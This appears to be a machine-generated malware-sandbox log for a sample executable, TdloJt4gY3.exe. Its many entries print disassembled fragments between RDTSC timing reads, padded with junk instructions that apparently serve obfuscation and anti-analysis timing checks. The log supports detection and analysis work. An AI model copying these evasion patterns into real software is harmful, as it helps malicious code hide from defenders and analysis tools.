Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450075 second address: 54500CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F48D88430C6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov bl, cl 0x00000014 mov ah, bh 0x00000016 popad 0x00000017 sub esp, 2Ch 0x0000001a pushad 0x0000001b mov ebx, ecx 0x0000001d popad 0x0000001e push ebx 0x0000001f jmp 00007F48D88430C6h 0x00000024 mov dword ptr [esp], ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54500CA second address: 54500E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54500E7 second address: 54500F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54500F7 second address: 5450120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F48D851E9C5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450120 second address: 5450126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450196 second address: 545019A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545019A second address: 54501A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54501A0 second address: 54501F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c jmp 00007F48D851E9C7h 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 inc ebx 0x00000015 jmp 00007F48D851E9C2h 0x0000001a test al, al 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54501F0 second address: 545020D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545020D second address: 5450231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F48D851EC0Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cx, di 0x00000015 mov al, dh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450231 second address: 5450241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450241 second address: 5450285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ecx, dword ptr [ebp-14h] 0x0000000b jmp 00007F48D851E9C7h 0x00000010 mov dword ptr [ebp-14h], edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov di, 4736h 0x0000001a jmp 00007F48D851E9C7h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54503D8 second address: 5450400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 1E86375Dh 0x00000008 mov esi, 34F3EC59h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007F48D8843149h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F48D88430BEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450400 second address: 5450404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450404 second address: 545040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545040A second address: 545046C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F48D851E9C0h 0x00000011 jne 00007F494916CA22h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007F48D851E9C3h 0x00000022 and ah, FFFFFF8Eh 0x00000025 jmp 00007F48D851E9C9h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545046C second address: 545048A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545048A second address: 5450490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450490 second address: 54504E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 jmp 00007F48D88430C3h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 jmp 00007F48D88430C6h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bx, si 0x00000023 push ecx 0x00000024 pop ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54504E2 second address: 545054E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 jmp 00007F48D851E9C7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007F48D851E9C6h 0x00000014 nop 0x00000015 jmp 00007F48D851E9C0h 0x0000001a push eax 0x0000001b jmp 00007F48D851E9BBh 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F48D851E9C5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545054E second address: 5450593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F48D88430C7h 0x00000009 or eax, 6901F28Eh 0x0000000f jmp 00007F48D88430C9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450593 second address: 5450597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450597 second address: 545059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 545059D second address: 54505B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54505B6 second address: 54505D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54505D2 second address: 54505E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440E67 second address: 5440E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F48D88430C5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440E84 second address: 5440E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440E8A second address: 5440E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440E8E second address: 5440EAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F48D851E9C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440EAE second address: 5440EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440EB4 second address: 5440EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440F07 second address: 5440F16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450C18 second address: 5450C50 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F48D851E9C6h 0x00000008 sub ax, FBF8h 0x0000000d jmp 00007F48D851E9BBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dh, 41h 0x0000001c mov si, FAC3h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450C50 second address: 5450CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov ecx, 3B685417h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F48D88430BDh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ax, di 0x0000001b pushfd 0x0000001c jmp 00007F48D88430BFh 0x00000021 sub cx, C9CEh 0x00000026 jmp 00007F48D88430C9h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450CA3 second address: 5450CC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450CC0 second address: 5450CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450CC4 second address: 5450CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450CCA second address: 5450D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F48D88430C0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [760F459Ch], 05h 0x00000014 jmp 00007F48D88430BEh 0x00000019 je 00007F4949480DBEh 0x0000001f pushad 0x00000020 mov ax, ED6Dh 0x00000024 call 00007F48D88430BAh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450D9B second address: 5450DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 7DC78227h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450EAE second address: 5450EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450EB4 second address: 5450EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5450EC3 second address: 5450EF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov eax, 0FB4357Dh 0x00000017 pushfd 0x00000018 jmp 00007F48D88430BAh 0x0000001d add ax, FC58h 0x00000022 jmp 00007F48D88430BBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460BF0 second address: 5460BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460BFF second address: 5460C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460C03 second address: 5460C09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460C09 second address: 5460C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 67AE751 second address: 67AE761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 67AE761 second address: 67AE765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691C45B second address: 691C461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B5F6 second address: 691B5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B5FA second address: 691B604 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F48D851E9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B604 second address: 691B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B60E second address: 691B612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B612 second address: 691B620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B620 second address: 691B62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B62C second address: 691B630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B630 second address: 691B65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F48D851E9C0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B79F second address: 691B7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B7A3 second address: 691B7A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691B924 second address: 691B94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F48D88430B8h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F48D88430C3h 0x00000014 push ebx 0x00000015 jc 00007F48D88430B6h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691BA8D second address: 691BA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691F9FE second address: 691FA04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FA04 second address: 691FA09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FB39 second address: 691FB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b cld 0x0000000c push 00000000h 0x0000000e movsx edx, dx 0x00000011 push B8DD0BD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F48D88430C2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FB63 second address: 691FBB7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F48D851E9B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 4722F4AAh 0x00000013 and dh, FFFFFFB1h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F48D851E9B8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 xor edx, dword ptr [ebp+122D2F8Ah] 0x0000003a push 00000003h 0x0000003c mov ecx, dword ptr [ebp+122D22DEh] 0x00000042 call 00007F48D851E9B9h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FBB7 second address: 691FBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FBD4 second address: 691FC0F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F48D851E9CCh 0x00000008 jmp 00007F48D851E9C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jg 00007F48D851E9C5h 0x00000017 jmp 00007F48D851E9BFh 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FC0F second address: 691FC3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b je 00007F48D88430C9h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FC3D second address: 691FC42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FC42 second address: 691FC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FC48 second address: 691FC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnp 00007F48D851E9C8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F48D851E9B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 691FC61 second address: 691FC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6909B5E second address: 6909B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6909B65 second address: 6909B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EB7D second address: 693EB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EB87 second address: 693EB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F48D88430BAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EB9D second address: 693EBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F48D851E9B6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EBA9 second address: 693EBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693ECF7 second address: 693ED07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D851E9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693ED07 second address: 693ED28 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F48D88430BAh 0x00000012 pop eax 0x00000013 pushad 0x00000014 jc 00007F48D88430B6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EE73 second address: 693EE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EE78 second address: 693EE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693EE7E second address: 693EE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
